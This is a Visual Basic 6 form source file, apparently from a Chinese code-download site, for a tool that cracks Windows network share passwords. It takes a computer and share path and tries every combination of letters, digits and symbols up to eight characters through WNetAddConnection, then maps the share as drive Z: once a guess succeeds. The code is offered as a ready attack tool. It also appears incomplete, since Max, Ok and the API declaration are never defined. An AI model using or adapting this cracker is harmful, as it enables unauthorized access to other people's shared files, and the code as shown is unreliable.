⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 main.frm

📁 很好的教程原代码!
💻 FRM
字号:
VERSION 5.00
Begin VB.Form frmMain 
   Caption         =   "Form1"
   ClientHeight    =   3195
   ClientLeft      =   60
   ClientTop       =   345
   ClientWidth     =   4680
   LinkTopic       =   "Form1"
   ScaleHeight     =   3195
   ScaleWidth      =   4680
   StartUpPosition =   3  '窗口缺省
   Begin VB.TextBox Text1 
      Height          =   375
      IMEMode         =   3  'DISABLE
      Left            =   135
      TabIndex        =   1
      Tag             =   "NET"
      ToolTipText     =   "例如:电脑名:CP   其共享目录:Work   则输入:  \\CP\Work "
      Top             =   765
      Width           =   4095
   End
   Begin VB.CommandButton Command1 
      Caption         =   "开始探测"
      Height          =   1050
      Left            =   1200
      TabIndex        =   0
      Top             =   1680
      Width           =   990
   End
   Begin VB.Label Label1 
      Caption         =   "Label1"
      Height          =   300
      Left            =   120
      TabIndex        =   3
      Top             =   1200
      Width           =   4020
   End
   Begin VB.Label Label2 
      Caption         =   "请输入需要探测的电脑名称与其共享目录           "
      Height          =   240
      Left            =   120
      TabIndex        =   2
      Top             =   480
      Width           =   3975
   End
End
Attribute VB_Name = "frmMain"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Option Explicit
Private Lt(64) As String
Private OUT As Boolean
Const Msg = "探测密码成功! 并且已经映射为你电脑的Z:盘" + _
    vbCrLf + _
    "如果想重新探测其它电脑,请中断Z: 的映射连接再探测"

Private Sub Command1_Click()
    Dim ppp As String
    Dim I As Long
    Dim J As Long
    Dim K As Long
    Dim L As Long
    Dim M As Long
    Dim N As Long
    Dim O As Long
    Dim P As Long
    Dim Pass As String
    Dim Nn As Long
    ppp = UCase(Trim(Text1.Text))
    Label1.Caption = "111"
    
    Pass = " "
    Ok = WNetAddConnection(Trim(ppp), Pass, "Z:")
    If Ok = 0 Then
        Label1.Caption = "SPACE"
        Label1.Refresh
        MsgBox "OK密码为空格", vbInformation, "OK"
        Exit Sub
    End If
    '1
    For I = 0 To Max
    
        Pass = Lt(I)
        Label1.Caption = Pass
        Label1.Refresh
         DoEvents
        Ok = WNetAddConnection(Trim(ppp), Pass, "Z:")
        If Ok = 0 Then
               MsgBox Msg
               Exit Sub
        End If
    Next I
    ' 2
    For I = 0 To Max
    For J = 0 To Max
        Pass = Lt(I) + Lt(J)
        DoEvents
        Label1.Caption = Pass
        Label1.Refresh
        Ok = WNetAddConnection(Trim(ppp), Pass, "Z:")
        If Ok = 0 Then
            MsgBox Msg
            Exit Sub
        End If
    Next J
    Next I
    '3
    For I = 0 To Max
    For J = 0 To Max
    For K = 0 To Max
        Pass = Lt(I) + Lt(J) + Lt(K)
        DoEvents
        Label1.Caption = Pass
        Label1.Refresh
        Ok = WNetAddConnection(Trim(ppp), Pass, "Z:")
        If Ok = 0 Then
            MsgBox Msg
            Exit Sub
        End If
    Next K
    Next J
    Next I
    
    '4
    For I = 0 To Max
    For J = 0 To Max
    For K = 0 To Max
    For L = 0 To Max
        Pass = Lt(I) + Lt(J) + Lt(K) + Lt(L)
        DoEvents
        Label1.Caption = Pass
        Label1.Refresh
        Ok = WNetAddConnection(Trim(ppp), Pass, "Z:")
        If Ok = 0 Then
               MsgBox Msg
               Exit Sub
        End If
    Next L
    Next K
    Next J
    Next I
    
    '5
    For I = 0 To Max
    For J = 0 To Max
    For K = 0 To Max
    For L = 0 To Max
    For M = 0 To Max
        Pass = Lt(I) + Lt(J) + Lt(K) + Lt(L) + Lt(M)
        DoEvents
        Ok = WNetAddConnection(Trim(ppp), Pass, "Z:")
        Label1.Caption = Pass
        Label1.Refresh
        
        If Ok = 0 Then
               MsgBox Msg
               Exit Sub
        End If
    Next M
    Next L
    Next K
    Next J
    Next I
    
    '6
    For I = 0 To Max
    For J = 0 To Max
    For K = 0 To Max
    For L = 0 To Max
    For M = 0 To Max
    For N = 0 To Max
        Pass = Lt(I) + Lt(J) + Lt(K) + Lt(L) + Lt(M) + Lt(N)
        DoEvents
        Label1.Caption = Pass
        Label1.Refresh
        
        Ok = WNetAddConnection(Trim(ppp), Pass, "Z:")
        If Ok = 0 Then
               
               MsgBox Msg
               Exit Sub
        End If
    Next N
    Next M
    Next L
    Next K
    Next J
    Next I
    
    '7
    For I = 0 To Max
    For J = 0 To Max
    For K = 0 To Max
    For L = 0 To Max
    For M = 0 To Max
    For N = 0 To Max
    For O = 0 To Max
        Pass = Lt(I) + Lt(J) + Lt(K) + Lt(L) + Lt(M) + Lt(N) + Lt(O)
        Label1.Caption = Pass
        Label1.Refresh
        Ok = WNetAddConnection(Trim(ppp), Pass, "Z:")
        DoEvents
        If Ok = 0 Then
               MsgBox Msg
               Exit Sub
        End If
    
    Next O
    Next N
    Next M
    Next L
    Next K
    Next J
    Next I
    
    '8
    For I = 0 To Max
    For J = 0 To Max
    For K = 0 To Max
    For L = 0 To Max
    For M = 0 To Max
    For N = 0 To Max
    For O = 0 To Max
    For P = 0 To Max
        Pass = Lt(I) + Lt(J) + Lt(K) + Lt(L) + _
            Lt(M) + Lt(N) + Lt(O) + Lt(P)
        Ok = WNetAddConnection(Trim(ppp), Pass, "Z:")
        Label1.Caption = Pass
        Label1.Refresh
        DoEvents
        If Ok = 0 Then
            MsgBox Msg
            Exit Sub
        End If
    Next P
    Next O
    Next N
    Next M
    Next L
    Next K
    Next J
    Next I
    MsgBox "Fail!!"
End Sub

Private Sub Command2_Click()
    OUT = True
End Sub

Private Sub Form_Activate()
    Text1.SetFocus
End Sub

Private Sub Form_Load()
    Dim I As Integer
    OUT = False
    For I = 0 To 25
        Lt(I) = Chr(I + 65)
    Next I
    Lt(26) = "1": Lt(27) = "2": Lt(28) = "3": Lt(29) = "4": Lt(30) = "5"
    Lt(31) = "6": Lt(32) = "7": Lt(33) = "8": Lt(34) = "9": Lt(35) = "0"
    Lt(36) = "*": Lt(37) = "!": Lt(38) = "@": Lt(39) = "?": Lt(40) = "#"
    Lt(41) = "$": Lt(42) = "%": Lt(43) = "^": Lt(44) = "&": Lt(45) = "("
    Lt(46) = ")": Lt(47) = "<": Lt(48) = ">": Lt(49) = ",": Lt(50) = "."
    Lt(51) = "?": Lt(52) = "/": Lt(53) = "-": Lt(54) = "=": Lt(55) = "+"
    Lt(56) = "\": Lt(57) = "|": Lt(58) = "[": Lt(59) = "]": Lt(60) = "{"
    Lt(61) = "}": Lt(62) = ":": Lt(63) = ";": Lt(Max) = "'"
End Sub

Private Sub Form_Unload(Cancel As Integer)
    End
End Sub

Private Sub Text1_Change()
    Label1.Caption = Text1.Text
    Label1.Refresh
End Sub

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -